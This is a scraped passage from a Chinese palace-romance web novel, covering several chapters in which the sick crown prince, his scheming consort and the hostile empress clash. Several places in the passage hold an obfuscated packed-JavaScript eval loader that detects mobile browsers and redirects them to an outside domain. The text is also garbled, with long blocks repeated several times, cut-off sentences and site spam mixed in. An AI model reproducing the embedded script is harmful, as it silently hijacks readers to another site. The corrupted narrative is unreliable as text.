果然,裴墨染生病了。 “才回京就宵衣旰食,任谁都熬不住的,我这就去劝。”云清婳将怀里的孩子递给飞霜,沉下了脸。 管家讪讪地捂住了嘴。 完蛋! 他好像闻到了**味,太子妃不会跟殿 下吵起来吧? …… 书房中。 裴墨染坐在上首脸色苍白唇瓣干涸他咳了咳“冯将军呢?为何还没来?” 下首的人头皮发紧面面相觑。 来个鬼! 太子殿下眼看着都快倒下了谁还敢来? 别到时候晕倒了赖在他们身上让北镇抚司、监察院拎回去问话、调查。 一个副将打趣:“他平日最爱逛教坊司指不准在哪儿快活。” 裴墨染的眉头皱得简直快能夹死一只苍蝇他斥道:“本宫看是你想逛教坊司吧?” “……”副将吓得虎躯一震面红耳赤。 祝国公没忍住 砰—— 门忽的被打开。 云清婳端着一碗药面色黑沉的走了进来。 诸葛贤的眼中出现了希冀。 他们总算可以解脱了。 “蛮蛮你怎么来了?”裴墨染的声音略带沙哑。 云清婳不语而是用眼刀将每个人刮了一遍她阴阳怪气道:“夫君是不是每个男人都喜欢逛教坊司啊?” 裴墨染:??? 祝国公的脸色铁青他慌张道:“太子妃方才微臣只是随口一说求您万万别说给心意啊。” 她剜了祝国公一眼又看向裴墨染等待他的回答。 裴墨染觉得冤枉关他什么事? “你这个问题有陷阱本宫不回答。”裴墨染玩味的说“本宫不是祝国公那种男人本宫不知道他们那种人是怎么想的。” 祝国公:??? 请苍天辨忠奸! “太子……你、我……”祝国公瞠目结舌脸一会儿红一会儿白“殿下什么叫我们这种人?” 云清婳险些笑喷。 她递给诸葛贤一个眼神。 诸葛贤会意他拱手冲她一拜“时候不早了殿下玉体抱恙微臣告退。” “微臣告退。”其他人闻到**味不约而同转身就走。 “别走……”裴墨染伸手想要阻拦。 他的头皮发麻他觉得蛮蛮好可怕。 几人争先恐 后地跑,“殿下,来不及了!微臣要去接我爹放学……” “我也是,我爹要生了……” 裴墨染:??? 云清婳扑哧笑喷了。 “你笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16014679|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了就不准打我了。”裴墨染低声严肃地警告。 但没有半分威慑作用,还显得又窝囊又辛酸。 云清婳莫名其妙地看了他一眼。 不是,她什么时候想打他了? 他想得美! 她将药碗放在他的面前,“我是来给夫君送药的,我怎敢打你?明明都是你欺负我。” “这是什么药?”他问。 云清婳懒得回答这么蠢的问题,阴阳怪气道:“**!” 裴墨染端起药碗一饮而尽。 云清婳用帕子给他擦了擦嘴角。 “我欺负你?你做梦了?”他白了她一眼。 她羞赧道:“就是昨晚啊。” 裴墨染失笑,“你又没答应,怎能算欺负?” 云清婳瞪他。 太医院的药效很大,不一会儿裴墨染就起了一层虚汗,昏昏欲睡。 云清婳扶着裴墨染去了玄音阁,她给他宽衣解带,让他睡下。 像裴墨染这种身强体壮的人,一旦着了风寒是真的病来如山倒,比常人还要难熬。 她坐在榻边忧心地看着他。 裴墨染笑道:“你守在这里作甚?我病入膏肓快**?” “呸!”她的黛眉一蹙,“夫君才不会有虞,我才不想当寡妇。” 就在这时,两个孩子从地上的软垫爬了过来。 两个小家伙走路已经很稳了,但他们爬起来更快。 “爹爹,吃、糕糕……”辞忧将咬了一口的桂花糕举高高,想要递给裴墨染。 云清婳暗叹:啧!不愧是她的闺女。 三两下就把裴墨染钓成翘嘴! “诶。”或许是病重的人特别脆弱,裴墨染红了眼,“爹爹不吃。” 云清婳:??? 她轻拍他的背,“别哭啊,女儿吃不下了,就把吃剩的给你,你感动什么?” 裴墨染眨了眨眼,“我没哭。” 承基也把自己最喜欢的布老虎举起来。 “爹不玩。”他感动道。 承基指着布老虎屁股上的破洞,“坏了。” 裴墨染:…… “哈哈哈哈……”云清婳笑得直不起腰,“承基在向你讨要新玩具呢。” 裴墨染心中五味杂陈,他好笑地评价:“一帮逆子。” 第237章 我帮夫君擦洗? 云清婳将辞忧、承基抱到榻上。 “爹爹生病了,你们亲亲爹爹。”她温柔道。 两个小奶包一左一右,吧唧一口亲了裴墨染的脸颊。 “咦惹,你们亲了爹爹一脸口水。”她用帕子给他擦脸。 “无妨。”裴墨染的心中暖洋洋,浑身好似又充满了力气。 西北十年的霜雪,在此刻终于彻底消融。 药效发作了,不一会儿裴墨染就沉沉睡了过去。 云清婳将孩子交给奶娘,她拉上了床帐。 飞霜将云清婳扶走,有些嫌弃地瞥了眼床榻,“主子,殿下的风寒来得猛烈,当心病气过到您身上,奴婢们来伺候就是。” 她的双眼通透,恍若隔岸观火的军师,“不行,苏灵音不是轻易被打倒的人。她跟皇后必会趁机对裴墨染大献殷勤,以此博得他的原谅。所以我必须对裴墨染更好。” 裴墨染心中有个最大的意难平,那便是——父母亲情。 人终其一生,总是喜欢追求得不到的东西。 特别是母爱,不患寡而患不均。 “皇后也是造孽,明明是亲生儿子,却不知道心疼。”飞霜叹了口气,不禁打抱不平,“幸好有主子,抚慰了他。” 哪怕是假的,也总比没有好。 云清婳擦了擦手,她蔑笑:“其实皇后跟我是一类人,我们都想控制裴墨染,但皇后的手段却是情感**,而我靠的是爱。” “什么意思啊?”飞霜揉了揉后脑勺。 她解释:“情感**会产生忠诚,爱会产生自由。” 裴墨染之前企图用讨好皇后的方式,换取皇后的爱。 她用爱感化裴墨染则不同,裴墨染在被爱后,甘心为她赴汤蹈火,这是任何外力都无法动摇的。 下午时,翊坤宫传来消息,皇后要召见裴墨染。 裴墨染醒来时,精气神提起来了点,已经不头昏脑热了。 “夫君的气色好差。”她捧着他的脸。 “无妨,身为东宫,的确该给皇后请安,免得落人口实。”裴墨染掀开被褥下榻,他捂出了一身的汗,命人抬水。 “我帮夫君擦洗?”云清婳问。 “不用了,你换身衣裳,等会儿随我进宫。”他 不假思索的拒绝。 他浑身都是汗气味道肯定很难闻。 到时候这个小妮子又要嫌弃。 云清婳知道他的心思故意道:“夫君羞什么?你的身子我又不是没看过。” “女流氓。”他逃似的进了净室。 云清婳笑了。 …… 翊坤宫。 皇后在小厨房待了好几个时辰终于包好了一盘饺子。 她揩去额上的汗眼中射出势在必得的光。 “本宫记得墨染幼年最喜欢吃本宫包的饺子等会儿拿出饺子墨染定会跟本宫冰释前嫌。”皇后满心欢喜空前乐观。 顶替白嬷嬷的金嬷嬷叹了口气。 皇后娘娘实在太心急了。 太子殿下受了二十三年的委屈 “娘娘冰冻三尺非一日之寒但老奴相信水滴石穿殿下早晚会体谅您的苦衷的。”金嬷嬷旁敲侧击地提醒。 皇后的鼻子发酸哽咽道:“谁会不心疼自己的骨肉?本宫也是被骗了这些事怎能怪本宫呢?他委屈本宫就不委屈?” 要怪也该怪陛下啊! 裴墨染带着云清婳给皇后问安。 皇后看到云清婳的瞬间眼中的厌恶之色险些没掩住。 她的嘴角抽搐了下最后挤出了别扭的笑“墨染看见你从蜀地安然无恙地回来本宫就放心了这些日子本宫寝食难安梦里都是你小时候在西北打仗的样子本宫时常被吓醒。” “儿臣让母后担心了。”裴墨染疏离地说。 皇后听出了他的刻意疏离用帕子擦了擦眼角“这些年你受委屈了但本宫何尝不委屈?我们都被戏弄了。 蜀地的事情灵音都跟母后说了灵音之前不知你是亲表哥才会算计你。可自从知道你才是本宫的儿子她再也不曾算计过你。这丫头对你一往情深你打也打了骂也骂了原谅她吧。” 裴墨染的嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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皇后感觉一口瘀血堵在胸口差点喘不上气她扶着胸口“墨染你之前不是这样的!自从这个女人嫁给你你就越发跟我们离心!都是她蒙蔽了你!她就是个**不仅勾引了你还勾引了云澈!” “夫君……”云清婳佯装受惊茶兮兮地扑进他怀中。 第238章 苍天助她 裴墨染轻抚她的背脊,冷硬地跟皇后对视,“同为女人,母后怎能如此恶毒下作的指摘蛮蛮?裴云澈对蛮蛮不轨,您为何不怪罪裴云澈龌龊?” “此事跟蛮蛮无关,儿臣不会原谅裴云澈,也不会原谅所有人。” 所有人里,自然也包含了皇后。 皇后的双眼泛红,眼泪在她眼中打转,“墨染,本宫已经给你道歉了,你到底想怎么样?你要逼死本宫才解气?一点点小事记恨这么久,如此不能容人,你还算什么大丈夫?” 裴墨染气红了眼。 小事? 折磨了他十**,只是小事? 裴云澈几次三番置他于死地,害他妻儿,也只是小事? “皇后娘娘,贤王差点要了夫君与承基的性命,对你而言只是小事?”云清婳黛眉一挑,怒目而视。 “当**,您也是受害者,您本该跟夫君感同身受、相互慰藉,可您却一而再再而三护着伤害夫君的人!” 皇后将手中的茶盏朝着她砸了下去,“你这个**,你还有脸指责本宫?” “啊……” 云清婳吓得惊叫。 裴墨染将她扯进怀里,紧紧地护着她,茶杯砸中了裴墨染的胳膊。 “夫君……”她惊呼。 裴墨染递给云清婳一个安心的眼神,他的眼神幽怨地射向皇后,“皇后娘娘,倘若您再如此粗暴的对待太子妃,本宫誓不罢休。” 皇后的眼中闪过心疼,她腾的站起身,眼底满是不可置信,“墨染,你竟为了这种女人忤逆母后?你究竟被她灌了什么**汤?你若是再一意孤行,母后不得不怀疑你是不是东宫的最佳人选。” 这是赤裸裸的威胁! 皇后的言下之意便是要与裴墨染为敌,扶持裴云澈上位。 别说裴墨染,就连云清婳都气得胃疼。 老妖婆是不是疯了? 放着亲骨肉不帮,反而帮情敌的孩子。 “娘娘……”金嬷嬷急得跺脚。 皇后娘娘糊涂啊,母子之间,怎么就走到了这一步? “……”裴墨染的视线如虎狼,残暴狠厉地与皇后对视,目光十分骇人。 皇后心里发怵,接不住他的目光,匆匆错开眼。 他本就得了伤寒这会儿被皇后气到有些头晕。 云清婳第一时间发现了他的异样扶住了他。 皇后可真是自私裴墨染的脸色这么差她居然没有一点都没有看出来? “蛮蛮走吧。”裴墨染转身离开。 金嬷嬷忙不迭追上去“殿下、太子妃留下用膳吧!娘娘方才说笑呢您还不知道娘娘的脾气?这只是话赶话。” “本宫最讨厌羊肉也早就不喜欢吃饺子了。”他的声音喑哑。 金嬷嬷的嘴半张着快能容下一个鸡蛋她尴尬地看向皇后。 皇后的脸上闪过茫然无措。 “夫君……”云清婳一脸心疼。 裴墨染咳了咳娓娓道来:“我幼时的确喜欢吃皇后包的饺子可只有裴云澈想吃的时候皇后才会做。我每次吃多了皇后还会黑脸生怕亏待了裴云澈。” “我替裴云澈出征前说想吃她包的饺子她忙着跟裴云澈庆祝逃过一劫敷衍地让白嬷嬷做了。” 她搂住他的腰眼中闪烁着晶莹“夫君现在还想吃吗?” 他坦然地摇摇头“蛮蛮的馄饨很好我早就不需要她的饺子了。” 裴墨染的身形摇晃他猝然倒了下去。 云清婳立即吩咐王显跟几个小太监将裴墨染扶去太医院。 裴墨染昏迷的消息眨眼的功夫就传进了翊坤宫。 金嬷嬷着急道:“皇后娘娘不好了!殿下晕倒了!其实老奴方才就看出殿下的脸色有些不太对劲。” “墨染病了?”皇后着急地站起身瞪大了眼 她的脸上闪过一丝愧疚。 方才她不该威胁墨染是不是她的话太重了? “娘娘只要是人都会生病殿下从蜀地回来劳累太久了。”金嬷嬷都替皇后着急。 皇后的眼神渐渐锋利起来“不对!此事必定有鬼!定是云清婳教唆墨染装病让人怀疑本宫不关心墨染苛待了他。” 金嬷嬷不住地叹气。 都这个时候了为何皇后娘娘满心都是阴谋算计? …… 很快裴墨染一出翊坤宫就昏迷之事就传开了。 满朝 文武众说纷纭有人说太子感染风寒但皇后却没看出来皇后根本不关心太子。 也有人说皇后跟太子大吵一架皇后把太子气晕了。 甚至有人谣传皇后给太子下了毒…… 总之全是对皇后不利的传言。 东宫。 裴墨染再次醒来已经子时。 云清婳守在床榻边熬红了双眼。 见他醒来她连忙喂他喝水“小米粥在炉子上煨着夫君吃些吧。” “嗯。”裴墨染的嘴角上扬。 他吃了小米粥掀开被褥准备下榻。 云清婳拦住他茫然道:“怎么了?” “我怕把病气过给你你身子弱 说更新,记住域名caixs⑾(请来才小 说 看最新章节 完整章节)我今晚去暖阁睡。”他把自己的枕头抱走了看起来莫名的凄惨。 但这正合云清婳的心意。 算他自觉! 但装还是要装一下的。 云清婳努努嘴“不会的!我又不嫌弃夫君!” 他笑了“你若是病倒了孩子们怎么办?到时候难不成让我伺候你?” 她蹙眉“可是……” “今晚怎么这么粘人?想要了?”他的桃花眼含着戏谑贱兮兮地问。 云清婳乜了他一眼“夫君又不正经了!” “快睡吧。”裴墨染命人将床榻上的床单、被褥换上新的去隔壁的暖阁睡下。 云清婳躺在松软的床榻上身心舒畅。 真是苍天助她! 她根本没发力皇后的名声就臭了。 如今裴云澈已经成了落水狗。 接下来她会用尽全力跟皇后作对! …… 御书房。 御前太监送来了脉案。 皇上翻开后眸色一黯“墨染真的病了?” “听今日见过殿下的宫人说殿下今日的脸色不对。而且在蜀地殿下的左臂还骨裂了难免会被寒邪入体。”御前太监恭敬道。 皇上的眼中呈现出复杂的神情他掐了掐眉心“皇后究竟有没有心?对墨染她就没一丝愧疚?” 若是莲衣绝对会对两个孩子一视同仁绝不会厚此薄彼! 身为皇后她连这份觉悟都没有她也配母仪天下? “难怪云澈会如此偏激被这样自私自利的母亲教养孩子怎能成器?”皇上字里行间都透着鄙夷。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 文武众说纷纭有人说太子感染风寒但皇后却没看出来皇后根本不关心太子。 也有人说皇后跟太子大吵一架皇后把太子气晕了。 甚至有人谣传皇后给太子下了毒…… 总之全是对皇后不利的传言。 东宫。 裴墨染再次醒来已经子时。 云清婳守在床榻边熬红了双眼。 见他醒来她连忙喂他喝水“小米粥在炉子上煨着夫君吃些吧。” “嗯。”裴墨染的嘴角上扬。 他吃了小米粥掀开被褥准备下榻。 云清婳拦住他茫然道:“怎么了?” “我怕把病气过给你你身子弱我今晚去暖阁睡。”他把自己的枕头抱走了看起来莫名的凄惨。 但这正合云清婳的心意。 算他自觉! 但装还是要装一下的。 云清婳努努嘴“不会的!我又不嫌弃夫君!” 他笑了“你若是病倒了孩子们怎么办?到时候难不成让我伺候你?” 她蹙眉“可是……” “今晚怎么这么粘人?想要了?”他的桃花眼含着戏谑贱兮兮地问。 云清婳乜了他一眼“夫君又不正经了!” “快睡吧。”裴墨染命人将床榻上的床单、被褥换上新的去隔壁的暖阁睡下。 云清婳躺在松软的床榻上身心舒畅。 真是苍天助她! 她根本没发力皇后的名声就臭了。 如今裴云澈已经成了落水狗。 接下来她会用尽全力跟皇后作对! …… 御书房。 御前太监送来了脉案。 皇上翻开后眸色一黯“墨染真的病了?” “听今日见过殿下的宫人说殿下今日的脸色不对。而且在蜀地殿下的左臂还骨裂了难免会被寒邪入体。”御前太监恭敬道。 皇上的眼中呈现出复杂的神情他掐了掐眉心 若是莲衣绝对会对两个孩子一视同仁绝不会厚此薄彼! 身为皇后她连这份觉悟都没有她也配母仪天下? “难怪云澈会如此偏激被这样自私自利的母亲教养孩子怎能成器?”皇上字里行间都透着鄙夷。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 文武众说纷纭有人说太子感染风寒但皇后却没看出来皇后根本不关心太子。 也有人说皇后跟太子大吵一架皇后把太子气晕了。 甚至有人谣传皇后给太子下了毒…… 总之全是对皇后不利的传言。 东宫。 裴墨染再次醒来已经子时。 云清婳守在床榻边熬红了双眼。 见他醒来她连忙喂他喝水“小米粥在炉子上煨着夫君吃些吧。” “嗯。”裴墨染的嘴角上扬。 他吃了小米粥掀开被褥准备下榻。 云清婳拦住他茫然道:“怎么了?” “我怕把病气过给你你身子弱我今晚去暖阁睡。”他把自己的枕头抱走了看起来莫名的凄惨。 但这正合云清婳的心意。 算他自觉! 但装还是要装一下的。 云清婳努努嘴“不会的!我又不嫌弃夫君!” 他笑了“你若是病倒了孩子们怎么办?到时候难不成让我伺候你?” 她蹙眉“可是……” “今晚怎么这么粘人?想要了?”他的桃花眼含着戏谑贱兮兮地问。 云清婳乜了他一眼“夫君又不正经了!” “快睡吧。”裴墨染命人将床榻上的床单、被褥换上新的去隔壁的暖阁睡下。 云清婳躺在松软的床榻上身心舒畅。 真是苍天助她! 她根本没发力皇后的名声就臭了。 如今裴云澈已经成了落水狗。 接下来她会用尽全力跟皇后作对! …… 御书房。 御前太监送来了脉案。 皇上翻开后眸色一黯“墨染真的病了?” “听今日见过殿下的宫人说殿下今日的脸色不对。而且在蜀地殿下的左臂还骨裂了难免会被寒邪入体。”御前太监恭敬道。 皇上的眼中呈现出复杂的神情 若是莲衣绝对会对两个孩子一视同仁绝不会厚此薄彼! 身为皇后她连这份觉悟都没有她也配母仪天下? “难怪云澈会如此偏激被这样自私自利的母亲教养孩子怎能成器?”皇上字里行间都透着鄙夷。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 文武众说纷纭,有人说,太子感染风寒,但皇后却没看出来,皇后根本不关心太子。 也有人说,皇后跟太子大吵一架,皇后把太子气晕了。 甚至有人谣传,皇后给太子下了毒…… 总之全是对皇后不利的传言。 东宫。 裴墨染再次醒来,已经子时。 云清婳守在床榻边,熬红了双眼。 见他醒来,她连忙喂他喝水,“小米粥在炉子上煨着,夫君吃些吧。” “嗯。”裴墨染的嘴角上扬。 他吃了小米粥,掀开被褥准备下榻。 云清婳拦住他,茫然道:“怎么了?” “我怕把病气过给你,你身子弱,我今晚去暖阁睡。”他把自己的枕头抱走了,看起来莫名的凄惨。 但这正合云清婳的心意。 算他自觉! 但装还是要装一下的。 云清婳努努嘴,“不会的!我又不嫌弃夫君!” 他笑了,“你若是病倒了,孩子们怎么办?到时候难不成让我伺候你?” 她蹙眉,“可是……” “今晚怎么这么粘人?想要了?”他的桃花眼含着戏谑,贱兮兮地问。 云清婳乜了他一眼,“夫君又不正经了!” “快睡吧。”裴墨染命人将床榻上的床单、被褥换上新的,去隔壁的暖阁睡下。 云清婳躺在松软的床榻上,身心舒畅。 真是苍天助她! 她根本没发力,皇后的名声就臭了。 如今,裴云澈已经成了落水狗。 接下来,她会用尽全力跟皇后作对! …… 御书房。 御前太监送来了脉案。 皇上翻开后,眸色一黯,“墨染真的病了?” “听今日见过殿下的宫人说,殿下今日的脸色不对。而且在蜀地,殿下的左臂还骨裂了,难免会被寒邪入体。”御前太监恭敬道。 皇上的眼中呈现出复杂的神情,他掐了掐眉心,“皇后究竟有没有心?对墨染,她就没一丝愧疚?” 若是莲衣,绝对会对两个孩子一视同仁,绝不会厚此薄彼! 身为皇后,她连这份觉悟都没有,她也配母仪天下? “难怪云澈会如此偏激,被这样自私自利的母亲教养,孩子怎能成器?”皇上字里行间都透着鄙夷。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 文武众说纷纭,有人说,太子感染风寒,但皇后却没看出来,皇后根本不关心太子。 也有人说,皇后跟太子大吵一架,皇后把太子气晕了。 甚至有人谣传,皇后给太子下了毒…… 总之全是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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也有人说,皇后跟太子大吵一架,皇后把太子气晕了。 甚至有人谣传,皇后给太子下了毒…… 总之全是对皇后不利的传言。 东宫。 裴墨染再次醒来,已经子时。 云清婳守在床榻边,熬红了双眼。 见他醒来,她连忙喂他喝水,“小米粥在炉子上煨着,夫君吃些吧。” “嗯。”裴墨染的嘴角上扬。 他吃了小米粥,掀开被褥准备下榻。 云清婳拦住他,茫然道:“怎么了?” “我怕把病气过给你,你身子弱,我今晚去暖阁睡。”他把自己的枕头抱走了,看起来莫名的凄惨。 但这正合云清婳的心意。 算他自觉! 但装还是要装一下的。 云清婳努努嘴,“不会的!我又不嫌弃夫君!” 他笑了,“你若是病倒了,孩子们怎么办?到时候难不成让我伺候你?” 她蹙眉,“可是……” “今晚怎么这么粘人?想要了?”他的桃花眼含着戏谑,贱兮兮地问。 云清婳乜了他一眼,“夫君又不正经了!” “快睡吧。”裴墨染命人将床榻上的床单、被褥换上新的,去隔壁的暖阁睡下。 云清婳躺在松软的床榻上,身心舒畅。 真是苍天助她! 她根本没发力,皇后的名声就臭了。 如今,裴云澈已经成了落水狗。 接下来,她会用尽全力跟皇后作对! …… 御书房。 御前太监送来了脉案。 皇上翻开后,眸色一黯,“墨染真的病了?” “听今日见过殿下的宫人说,殿下今日的脸色不对。而且在蜀地,殿下的左臂还骨裂了,难免会被寒邪入体。”御前太监恭敬道。 皇上的眼中呈现出复杂的神情,他掐了掐眉心,“皇后究竟有没有心?对墨染,她就没一丝愧疚?” 若是莲衣,绝对会对两个孩子一视同仁,绝不会厚此薄彼! 身为皇后,她连这份觉悟都没有,她也配母仪天下? “难怪云澈会如此偏激,被这样自私自利的母亲教养,孩子怎能成器?”皇上字里行间都透着鄙夷。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 文武众说纷纭,有人说,太子感染风寒,但皇后却没看出来,皇后根本不关心太子。 也有人说,皇后跟太子大吵一架,皇后把太子气晕了。 甚至有人谣传,皇后给太子下了毒…… 总之全是对皇后不利的传言。 东宫。 裴墨染再次醒来,已经子时。 云清婳守在床榻边,熬红了双眼。 见他醒来,她连忙喂他喝水,“小米粥在炉子上煨着,夫君吃些吧。” “嗯。”裴墨染的嘴角上扬。 他吃了小米粥,掀开被褥准备下榻。 云清婳拦住他,茫然道:“怎么了?” “我怕把病气过给你,你身子弱,我今晚去暖阁睡。”他把自己的枕头抱走了,看起来莫名的凄惨。 但这正合云清婳的心意。 算他自觉! 但装还是要装一下的。 云清婳努努嘴,“不会的!我又不嫌弃夫君!” 他笑了,“你若是病倒了,孩子们怎么办?到时候难不成让我伺候你?” 她蹙眉,“可是……” “今晚怎么这么粘人?想要了?”他的桃花眼含着戏谑,贱兮兮地问。 云清婳乜了他一眼,“夫君又不正经了!” “快睡吧。”裴墨染命人将床榻上的床单、被褥换上新的,去隔壁的暖阁睡下。 云清婳躺在松软的床榻上,身心舒畅。 真是苍天助她! 她根本没发力,皇后的名声就臭了。 如今,裴云澈已经成了落水狗。 接下来,她会用尽全力跟皇后作对! …… 御书房。 御前太监送来了脉案。 皇上翻开后,眸色一黯,“墨染真的病了?” “听今日见过殿下的宫人说,殿下今日的脸色不对。而且在蜀地,殿下的左臂还骨裂了,难免会被寒邪入体。”御前太监恭敬道。 皇上的眼中呈现出复杂的神情,他掐了掐眉心,“皇后究竟有没有心?对墨染,她就没一丝愧疚?” 若是莲衣,绝对会对两个孩子一视同仁,绝不会厚此薄彼! 身为皇后,她连这份觉悟都没有,她也配母仪天下? “难怪云澈会如此偏激,被这样自私自利的母亲教养,孩子怎能成器?”皇上字里行间都透着鄙夷。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 第239章 嘲讽拉满 “传令下去,赤阳王的丧礼由皇后、太子妃共同操办。”皇上眼中泛出几分狠厉。 “是。”御前太监的眼中闪过惊讶。 以往这种事情,都是由皇后娘娘一人操办。 这次皇上却把权力分给了太子妃,皇上这是在敲打皇后,顺便抬举太子、太子妃。 …… 翌日,皇上的旨意便传进了玄音阁。 裴墨染本想一同接旨,可皇上准许他在榻上养病,批了他三日的假,让他在东宫休养。 云清婳拿着圣旨,倚靠在贵妃榻上,眼神深远。 飞霜由衷地高兴,“主子,皇上这是为殿下出气呢,谁让皇后毫无慈母之心?殿下昏迷,她还不闻不问。” 她阖上双眼,捏了捏鼻梁,“这并非好事,操办丧礼的银子皇后必会全权掌握,我也就是打下手罢了。办得好,功劳全是皇后的,办得不好,皇后也可推在我身上。” “赤阳王是皇上最喜欢的弟弟,二人感情深厚,所以他的丧礼万万不能出纰漏,但就算不出纰漏,皇上恐怕也难以满意,更别说给我们嘉奖。” 飞霜的肩膀塌了下去,“真是吃力不讨好。” 裴墨染喝了药,又睡了一会儿,从暖阁起来时便听见主仆二人在议论这些。 他的脸微微黑沉,瞪了飞霜一眼。 蛮蛮真是把下人惯坏了。 天家的事,她怎敢议论? “又在胡言什么?”裴墨染冷声道。 飞霜吓得面无血色,扑通一声跪在地上。 云清婳摆摆手,示意她退下,“飞霜心疼我呢。” “你若是觉得为难,我进宫求父皇另择他人,此事的确不利于你,皇后恐怕会借题发挥为难你。”他在她身边坐下。 云清婳摇摇头,“可是我想帮夫君争一争,若是我能把丧礼办好,或许皇上对夫君会多几分嘉赏。” 裴墨染的嘴角斜提,可笑不达眼底。 皇上的心里只有宸妃,只有裴云澈,他做得再好有用吗? 皇上的心本来就是偏的! 再努力也没有用! “蛮蛮,我能为你做什么吗?”他问。 云清婳的眼珠子滴溜溜一转,“夫君不能帮我,但你后院的夫人可以 帮我。” “就她们?她们能帮什么忙?”裴墨染的脸上尽是鄙夷。 “夫君瞧不起女子?”她蹙眉。 裴墨染的脸色骤然惊变他急忙解释:“我可没说这是你说的!” “一会儿夫君随我挑一挑你就知道了。”她的笑容狡黠。 “娘子心胸宽广眼界开阔我自愧不如。”他捏捏她的鼻子。 云清婳翻了个白眼“别以为你讨好我就不用喝药了。” “谁怕喝药?你当我是你?”他嘴硬。 云清婳让婢女把药端来 裴墨染闻到药味胃里就翻江倒海。 或许是因为病重太医开的药方加大了剂量味道酸苦发臭。 他看着眼前的药碗脸都绿了。 “……” 恰逢此时奶娘跟万嬷嬷牵着孩子来了。 两个孩子想娘亲了。 “娘亲~”两个孩子异口同声。 节藕似的的小短腿走得飞快争相来到云清婳面前。 云清婳笑了她将辞忧抱进怀里“快劝爹爹喝药爹爹害怕喝药呢。” 裴墨染瞪了云清婳一眼“谁说我怕?” “羞羞。”辞忧冲裴墨染吐舌头、做鬼脸。 承基也挤眉弄眼表情十分欠揍“爹爹羞。” 两个小家伙嘲讽拉满了。 奶娘、万嬷嬷:??? 裴墨染:??? 云清婳:??? 哄堂大孝啊! 这两个小家伙是魔鬼吗? “谁教他们的?”裴墨染惊讶得瞪大了眼好气又好笑。 奶娘、万嬷嬷使劲摇头“老奴不敢啊!老奴从不敢教上不得台面的东西给皇孙。” 裴墨染怀疑的眼神又落在云清婳身上。 “看什么看?我也没教过!他们俩这么欠一定是随了你!”云清婳抱着胳膊一脸委屈。 王显欲言又止他吞吞吐吐道:“殿下皇孙之前总是进宫会不会是……陛下教的?” 几人醍醐灌顶恍然大悟。 很有道理! “父皇怎么这样教孩子?”裴墨染无奈地叹气。 云清婳心中大 < ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16024140|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 喜看样子皇上真的很喜欢承基、辞忧。 这像是民间的老人逗弄孙子、孙女。 裴墨染喝了药后 他喝了好些水都没缓过来。 “辞忧、承基喂爹爹吃蜜饯。”云清婳将一颗蜜饯递给辞忧。 又把另一颗蜜饯递给承基。 裴墨染配合地俯下身方便两个小家伙喂他。 万嬷嬷、王显双眼发热他们都为裴墨染由衷的高兴。 殿下少时孤苦可如今终于有了疼爱他的妻儿。 辞忧捏着蜜饯低头看看蜜饯又抬头看看裴墨染小脸皱巴巴的写满了纠结。 “辞忧舍不得给爹爹吃吗?”云清婳问。 “唔……”辞忧双眼噙着泪委屈极了她把蜜饯递了出去又缩回手然后又递出去。 万嬷嬷跟奶娘都被逗笑了。 “谢谢辞忧。”裴墨染张开嘴正准备吃。 辞忧忽地缩回手把蜜饯啊呜一口塞进嘴里了。 裴墨染:??? 云清婳感觉辞忧的动作有点像……逗狗。 裴墨染哭笑不得。 “妹妹吃。”承基将手里的蜜饯递给辞忧。 辞忧没拿住蜜饯滚到了地毯上。 承基捡起蜜饯毫不犹豫地递给裴墨染“爹爹吃。” 裴墨染:…… “哈哈哈哈……”云清婳笑出了声。 其他婢女都笑了。 “夫君蛮蛮喂你。”云清婳挑了个大蜜饯塞进他嘴里。 “还是娘子疼我两个逆子。”裴墨染冷哼了声。 就在这时婢女走进来恭敬的福福身:“殿下、主子苏侧妃求见。” 云清婳的脸登时垮了。 裴墨染摆摆手“不见日后也不必通传了。” 她觑了他一眼。 算狗男人识相! “夫君一会儿你命人把各个夫人请来就说让她们探病。”她道。 裴墨染蹙眉他想要拒绝可看她坚持最后只能点头。“蛮蛮你究竟想做什么?” “我在招兵买马这是我跟皇后之间没有硝烟的战争。”她的笑容精明。 他松了口气。 他还以为蛮蛮想要用妾室借题发挥然后打他的脸呢。 第240章 单纯得像一只二哈 另一边翊坤宫。 